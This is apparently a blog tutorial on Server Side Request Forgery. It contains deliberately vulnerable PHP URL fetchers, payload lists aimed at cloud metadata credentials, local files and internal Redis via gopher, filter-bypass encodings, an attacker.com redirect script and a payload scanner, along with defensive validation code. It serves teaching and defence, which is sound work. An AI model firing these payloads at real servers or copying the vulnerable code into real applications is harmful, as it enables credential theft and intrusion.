SSRF - Server Side Request Forgery
Thilan Dissanayaka Application Security May 04, 2020

SSRF - Server Side Request Forgery

Most web application vulnerabilities let you attack the application itself — inject SQL into the database, run JavaScript in a user's browser, execute commands on the server. SSRF is different. With SSRF, you turn the server into your proxy and use it to attack things you can't even reach.

The server sits inside the corporate network. It can talk to internal databases, admin panels, cloud metadata services, and other infrastructure that's completely invisible from the internet. An SSRF vulnerability lets you make the server send requests on your behalf — to those internal systems, as if the requests came from a trusted source.

This is why SSRF jumped into the OWASP Top 10 in 2021 (A10:2021). It's also why the Capital One breach (2019) — one of the largest data breaches in history, exposing 100+ million customer records — was caused by an SSRF vulnerability that accessed AWS metadata credentials.

How SSRF Works

The pattern is simple:

  1. The application has a feature that fetches a URL (image preview, URL import, webhook, screenshot service, health check)
  2. The user controls the URL
  3. The server makes the request — from inside the network
  4. The attacker targets internal services through the server
Attacker → "Fetch http://169.254.169.254/credentials" → Server → AWS Metadata → Credentials leaked
                                                          ↑
                                                     Server is inside the
                                                     network, has access
                                                     to internal services

Types of SSRF Attacks

1. Regular SSRF

The attacker can see the full response from the backend request.

2. Blind SSRF

The attacker cannot see the response but can determine if the request was made (useful for port scanning and triggering actions).

3. Semi-Blind SSRF

The attacker gets limited feedback, such as response time differences or error messages.

PHP Web Application Example

Let's examine a vulnerable PHP application and explore various SSRF attack scenarios.

Vulnerable Application

index.php (Main page with URL fetcher)

<?php
session_start();
?>

<!DOCTYPE html>
<html>
<head>
    <title>URL Fetcher Service</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 40px; }
        .container { max-width: 800px; }
        textarea { width: 100%; height: 300px; }
        input[type=\"url\"] { width: 100%; padding: 8px; }
        button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>
    <div class=\"container\">
        <h1>URL Content Fetcher</h1>
        <p>Enter a URL to fetch its content:</p>

        <form action=\"fetch.php\" method=\"POST\">
            <input type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>
            <br><br>
            <button type=\"submit\">Fetch Content</button>
        </form>

        <hr>

        <h2>Website Screenshot Service</h2>
        <p>Generate a screenshot of any website:</p>

        <form action=\"screenshot.php\" method=\"POST\">
            <input type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>
            <br><br>
            <button type=\"submit\">Generate Screenshot</button>
        </form>

        <hr>

        <h2>Website Health Checker</h2>
        <p>Check if a website is up and running:</p>

        <form action=\"health-check.php\" method=\"POST\">
            <input type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>
            <br><br>
            <button type=\"submit\">Check Health</button>
        </form>
    </div>
</body>
</html>

fetch.php (Vulnerable URL fetcher)

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Vulnerable: No validation of the URL
$content = file_get_contents($url);

if ($content === false) {
    $error = error_get_last();
    echo \"<h2>Error fetching URL</h2>\";
    echo \"<p>Could not fetch content from: \" . htmlspecialchars($url) . \"</p>\";
    echo \"<p>Error: \" . htmlspecialchars($error['message']) . \"</p>\";
} else {
    echo \"<h2>Content from: \" . htmlspecialchars($url) . \"</h2>\";
    echo \"<textarea readonly>\" . htmlspecialchars($content) . \"</textarea>\";
}

echo '<br><br><a href=\"index.php\">Back</a>';
?>

screenshot.php (Vulnerable screenshot service)

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Simulate screenshot service by making HTTP request
// In reality, this might call an internal screenshot service
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'ScreenshotService/1.0');

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo \"<h2>Screenshot Generation Failed</h2>\";
    echo \"<p>Could not access: \" . htmlspecialchars($url) . \"</p>\";
} else {
    echo \"<h2>Screenshot generated for: \" . htmlspecialchars($url) . \"</h2>\";
    echo \"<p>HTTP Status: \" . $httpCode . \"</p>\";
    echo \"<p>Content Length: \" . strlen($response) . \" bytes</p>\";
    echo \"<p><em>Screenshot would be generated here...</em></p>\";
}

echo '<br><br><a href=\"index.php\">Back</a>';
?>

health-check.php (Vulnerable health checker)

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Parse URL to extract host and port
$parsed = parse_url($url);
$host = $parsed['host'] ?? '';
$port = $parsed['port'] ?? (($parsed['scheme'] ?? '') === 'https' ? 443 : 80);

if (empty($host)) {
    echo \"<h2>Invalid URL</h2>\";
    echo '<a href=\"index.php\">Back</a>';
    exit;
}

// Vulnerable: Direct connection to user-specified host/port
$startTime = microtime(true);
$connection = @fsockopen($host, $port, $errno, $errstr, 5);
$endTime = microtime(true);

$responseTime = round(($endTime - $startTime) * 1000, 2);

echo \"<h2>Health Check Results</h2>\";
echo \"<p><strong>URL:</strong> \" . htmlspecialchars($url) . \"</p>\";
echo \"<p><strong>Host:</strong> \" . htmlspecialchars($host) . \"</p>\";
echo \"<p><strong>Port:</strong> \" . $port . \"</p>\";
echo \"<p><strong>Response Time:</strong> \" . $responseTime . \" ms</p>\";

if ($connection) {
    echo \"<p><strong>Status:</strong> <span style='color: green;'>✓ Online</span></p>\";
    fclose($connection);
} else {
    echo \"<p><strong>Status:</strong> <span style='color: red;'>✗ Offline</span></p>\";
    echo \"<p><strong>Error:</strong> \" . htmlspecialchars($errstr) . \"</p>\";
}

echo '<br><br><a href=\"index.php\">Back</a>';
?>

SSRF Attack Examples

1. Accessing Internal Services

Attack on localhost services:

http://localhost:22        # SSH service
http://localhost:3306      # MySQL database
http://localhost:6379      # Redis cache
http://localhost:5432      # PostgreSQL
http://127.0.0.1:8080      # Internal web service

Attack on internal network:

http://192.168.1.1/        # Router admin panel
http://10.0.0.1/           # Internal gateway
http://172.16.0.10:9200    # Elasticsearch cluster

2. Cloud Metadata Exploitation

AWS EC2 Instance Metadata:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

Google Cloud Metadata:

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure Instance Metadata:

http://169.254.169.254/metadata/instance?api-version=2021-02-01

3. Port Scanning and Service Discovery

Using the health checker to scan internal ports:

http://internal-server:21   # FTP
http://internal-server:25   # SMTP  
http://internal-server:53   # DNS
http://internal-server:139  # NetBIOS
http://internal-server:443  # HTTPS
http://internal-server:993  # IMAPS
http://internal-server:1433 # SQL Server

4. Protocol Smuggling

File Protocol:

file:///etc/passwd
file:///etc/hosts
file://C:\Windows\System32\drivers\etc\hosts

Gopher Protocol (if supported):

gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a

5. DNS Rebinding Attacks

Using DNS rebinding to bypass IP-based filters:

http://evil.com  # Resolves to internal IP through DNS manipulation

Advanced SSRF Techniques

1. URL Bypass Techniques

IP Address Encoding:

// Decimal encoding
http://2130706433/     # 127.0.0.1 in decimal
http://017700000001/   # 127.0.0.1 in octal
http://0x7f000001/     # 127.0.0.1 in hexadecimal

// IPv6
http://[::1]/          # IPv6 localhost
http://[0:0:0:0:0:ffff:127.0.0.1]/  # IPv4-mapped IPv6

URL Encoding:

http://127.0.0.1/      # Normal
http://127%2e0%2e0%2e1/ # URL encoded dots

Domain Tricks:

http://127.0.0.1.example.com/    # If example.com resolves to 127.0.0.1
http://subdomain.127.0.0.1.nip.io/  # Using nip.io service

2. Redirect-Based SSRF

redirect.php (Attacker-controlled redirect)

<?php
$target = $_GET['target'] ?? 'http://127.0.0.1:22';
header(\"Location: \" . $target);
exit;
?>

Attack URL: http://attacker.com/redirect.php?target=http://internal-service/

SSRF Protection Methods

1. URL Validation and Allowlisting

Protected fetch.php

<?php
if (!isset($_POST['url'])) {
    header('Location: index.php');
    exit;
}

$url = $_POST['url'];

// Validate and sanitize URL
function isUrlSafe($url) {
    // Parse the URL
    $parsed = parse_url($url);

    if (!$parsed || !isset($parsed['scheme']) || !isset($parsed['host'])) {
        return false;
    }

    // Only allow HTTP and HTTPS
    if (!in_array($parsed['scheme'], ['http', 'https'])) {
        return false;
    }

    // Allowlist of permitted domains
    $allowedDomains = [
        'example.com',
        'api.example.com',
        'cdn.example.com'
    ];

    $host = strtolower($parsed['host']);

    // Check if host is in allowlist
    $isAllowed = false;
    foreach ($allowedDomains as $domain) {
        if ($host === $domain || str_ends_with($host, '.' . $domain)) {
            $isAllowed = true;
            break;
        }
    }

    if (!$isAllowed) {
        return false;
    }

    // Additional checks for IP addresses
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        return false; // Block all IP addresses
    }

    return true;
}

if (!isUrlSafe($url)) {
    echo \"<h2>Blocked Request</h2>\";
    echo \"<p>The URL is not allowed: \" . htmlspecialchars($url) . \"</p>\";
    echo '<br><a href=\"index.php\">Back</a>';
    exit;
}

// Safe to fetch
$content = file_get_contents($url);

if ($content === false) {
    echo \"<h2>Error fetching URL</h2>\";
    echo \"<p>Could not fetch content from: \" . htmlspecialchars($url) . \"</p>\";
} else {
    echo \"<h2>Content from: \" . htmlspecialchars($url) . \"</h2>\";
    echo \"<textarea readonly>\" . htmlspecialchars($content) . \"</textarea>\";
}

echo '<br><br><a href=\"index.php\">Back</a>';
?>

2. IP Address Filtering

function isIpBlocked($ip) {
    // Convert IP to long integer for range checking
    $ipLong = ip2long($ip);

    if ($ipLong === false) {
        return true; // Invalid IP
    }

    // Define blocked IP ranges
    $blockedRanges = [
        // Localhost
        ['127.0.0.0', '127.255.255.255'],
        // Private networks (RFC 1918)
        ['10.0.0.0', '10.255.255.255'],
        ['172.16.0.0', '172.31.255.255'],
        ['192.168.0.0', '192.168.255.255'],
        // Link-local
        ['169.254.0.0', '169.254.255.255'],
        // Multicast
        ['224.0.0.0', '239.255.255.255'],
    ];

    foreach ($blockedRanges as $range) {
        $startLong = ip2long($range[0]);
        $endLong = ip2long($range[1]);

        if ($ipLong >= $startLong && $ipLong <= $endLong) {
            return true;
        }
    }

    return false;
}

function validateUrl($url) {
    $parsed = parse_url($url);

    if (!$parsed || !isset($parsed['host'])) {
        return false;
    }

    // Resolve hostname to IP
    $ip = gethostbyname($parsed['host']);

    if ($ip === $parsed['host']) {
        // Could not resolve hostname
        return false;
    }

    // Check if IP is blocked
    if (isIpBlocked($ip)) {
        return false;
    }

    return true;
}

3. Network-Level Protection

Using cURL with restrictions:

function safeCurlRequest($url) {
    // Validate URL first
    if (!validateUrl($url)) {
        return false;
    }

    $ch = curl_init();

    // Basic settings
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 3);

    // Security settings
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

    // Disable dangerous options
    curl_setopt($ch, CURLOPT_UNRESTRICTED_AUTH, false);

    // User agent
    curl_setopt($ch, CURLOPT_USERAGENT, 'SafeClient/1.0');

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    return ['response' => $response, 'http_code' => $httpCode];
}

4. DNS Resolution Control

function customDnsResolve($hostname) {
    // Use specific DNS servers
    $context = stream_context_create([
        'socket' => [
            'bindto' => '0:0', // Bind to specific interface
        ]
    ]);

    // Resolve using system DNS but validate result
    $ip = gethostbyname($hostname);

    if (isIpBlocked($ip)) {
        throw new Exception(\"Resolved IP is blocked: \" . $ip);
    }

    return $ip;
}

5. Request Proxying

function proxyRequest($url) {
    // Use an intermediary proxy that enforces security policies
    $proxyUrl = 'https://secure-proxy.internal.com/fetch';

    $data = [
        'url' => $url,
        'timeout' => 10,
        'max_size' => 1024 * 1024 // 1MB limit
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $proxyUrl);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Authorization: Bearer ' . INTERNAL_API_TOKEN
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    $response = curl_exec($ch);
    curl_close($ch);

    return json_decode($response, true);
}

Best Practices for SSRF Prevention

1. Input Validation

  • Implement strict URL validation
  • Use allowlists instead of blocklists
  • Validate both hostname and resolved IP addresses
  • Check for URL encoding and bypass attempts

2. Network Segmentation

  • Isolate web applications from internal services
  • Use firewalls to restrict outbound connections
  • Implement network access controls
  • Use separate networks for different service tiers

3. DNS Security

  • Use secure DNS servers
  • Implement DNS filtering
  • Monitor DNS queries for suspicious patterns
  • Consider using DNS sinkholes for known bad domains

4. Application-Level Controls

// Configuration class for SSRF protection
class SSRFProtection {
    private static $config = [
        'allowed_schemes' => ['http', 'https'],
        'allowed_domains' => ['example.com', 'api.example.com'],
        'blocked_ips' => [
            '127.0.0.0/8',
            '10.0.0.0/8',
            '172.16.0.0/12',
            '192.168.0.0/16',
            '169.254.0.0/16'
        ],
        'max_redirects' => 3,
        'timeout' => 10,
        'max_response_size' => 1048576 // 1MB
    ];

    public static function validateUrl($url) {
        // Implementation of comprehensive URL validation
        // ... (validation logic)
        return true;
    }

    public static function makeRequest($url) {
        if (!self::validateUrl($url)) {
            throw new Exception('URL validation failed');
        }

        // Safe request implementation
        // ... (request logic)
    }
}

Testing for SSRF Vulnerabilities

Manual Testing Checklist

  1. Basic SSRF Tests:

    • http://127.0.0.1
    • http://localhost
    • http://[::1]
  2. Internal Network Discovery:

    • http://192.168.1.1
    • http://10.0.0.1
    • http://172.16.0.1
  3. Cloud Metadata Services:

    • http://169.254.169.254
    • http://metadata.google.internal
  4. Protocol Testing:

    • file:///etc/passwd
    • gopher://127.0.0.1:6379
    • ftp://internal-server
  5. Encoding Bypass:

    • http://0177.0.0.1 (octal)
    • http://2130706433 (decimal)
    • http://0x7f000001 (hex)

Automated Testing Tools

  • SSRFmap - Automatic SSRF fuzzer and exploitation tool
  • Burp Suite - With SSRF detection extensions
  • OWASP ZAP - Automated SSRF scanning
  • Nuclei - YAML-based vulnerability scanner with SSRF templates

Testing Script Example

<?php
// SSRF vulnerability scanner
function testSSRF($baseUrl, $parameter) {
    $payloads = [
        'http://127.0.0.1',
        'http://localhost',
        'http://169.254.169.254',
        'file:///etc/passwd',
        'http://[::1]',
        'http://0177.0.0.1',
        'http://2130706433'
    ];

    foreach ($payloads as $payload) {
        $testUrl = $baseUrl . '?' . $parameter . '=' . urlencode($payload);

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $testUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);

        echo \"Testing: \" . $payload . \"\n\";
        echo \"HTTP Code: \" . $httpCode . \"\n\";
        echo \"Response Length: \" . strlen($response) . \"\n\";
        echo \"---\n\";
    }
}

// Usage
testSSRF('http://vulnerable-app.com/fetch.php', 'url');
?>

Real-World Impact and Examples

Notable SSRF Vulnerabilities

  1. Capital One Data Breach (2019)

    • SSRF in web application firewall
    • Access to AWS metadata service
    • 100+ million customer records exposed
  2. Shopify (2017)

    • SSRF in image processing functionality
    • Internal network access
    • $25,000 bug bounty payout
  3. Facebook (2017)

    • SSRF in image import feature
    • Internal service discovery
    • Significant security impact

Common Attack Scenarios

Scenario 1: Cloud Environment Compromise

// Attacker requests metadata service
http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role

// Server responds with temporary AWS credentials
{
    \"Code\": \"Success\",
    \"LastUpdated\": \"2023-01-01T12:00:00Z\",
    \"Type\": \"AWS-HMAC\",
    \"AccessKeyId\": \"ASIA...\",
    \"SecretAccessKey\": \"...\",
    \"Token\": \"...\",
    \"Expiration\": \"2023-01-01T18:00:00Z\"
}

Scenario 2: Internal Service Exploitation

// Port scan internal network
for ($i = 1; $i <= 255; $i++) {
    $target = \"http://192.168.1.$i:22\";
    // Test if SSH is running on internal hosts
}

// Access internal admin panels
http://192.168.1.10/admin
http://internal-jenkins.company.com/configure

Scenario 3: Database Access

// Access internal Redis instance
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0akeys%0d%0a*%0d%0a

// Access internal MongoDB
http://127.0.0.1:27017/

// Access internal Elasticsearch
http://127.0.0.1:9200/_cluster/health

Final Thoughts

SSRF is deceptively simple — it's just "make the server fetch a URL." But the impact is amplified by the server's network position. It sits inside the perimeter, has access to internal services, holds IAM credentials, and is trusted by other systems. An SSRF vulnerability turns all of that trust into an attack vector.

The cloud made it worse. The metadata service at 169.254.169.254 is the single biggest SSRF target — one request can leak IAM credentials that give access to the entire cloud account. AWS addressed this with IMDSv2 (requiring a session token), but many deployments still run IMDSv1.

The defense is straightforward but requires discipline:

  • Allowlist, don't blocklist — specify which domains/IPs are permitted
  • Resolve and revalidate — check the resolved IP, not just the hostname (defeats DNS rebinding)
  • Restrict protocols — only allow http: and https:, block file:, gopher:, ftp:
  • Network segmentation — the web server shouldn't be able to reach everything internal
  • IMDSv2 — if you're on AWS, enforce it. No exceptions.

SSRF will continue to be a critical vulnerability class as long as applications fetch user-controlled URLs. And in the age of microservices, webhooks, and API integrations — that's almost every application.

Thanks for reading!

ALSO READ
Exploiting a  Stack Buffer Overflow  on Linux
Apr 01 Exploit development

Have you ever wondered how attackers gain control over remote servers? How do they just run some exploit and compromise a computer? If we dive into the actual context, there is no magic happening....

Exploiting a Stack Buffer Overflow on Windows
Apr 12 Exploit development

In a previous tutorial we discusses how we can exploit a buffer overflow vulnerability on a Linux machine. I wen through all theories in depth and explained each step. Now today we are going to jump...

Singleton Pattern explained simply
Jan 27 Software Architecture

Ever needed just one instance of a class in your application? Maybe a logger, a database connection, or a configuration manager? This is where the Singleton Pattern comes in — one of the simplest but...

 OWASP Top 10 explained - 2021
Feb 11 Application Security

The Open Worldwide Application Security Project (OWASP) is a nonprofit foundation focused on improving the security of software. It provides free, vendor neutral tools, resources, and standards that...

Exploiting a format string vulnerebility on Linux
Apr 12 Exploit development

A misused printf can leak stack contents, read arbitrary memory, and write to arbitrary addresses. Format string vulnerabilities are one of the most powerful bug classes in C and they're the key to defeating ASLR. In this post, we exploit printf from leak to shell.

Bypassing DEP with Return-to-libc
Apr 05 Exploit development

DEP makes the stack non-executable — our shellcode can't run. The simplest bypass? Don't inject code at all. Instead, call functions that already exist in libc. In this post, we exploit a stack overflow to call system('/bin/sh') without writing a single byte of shellcode.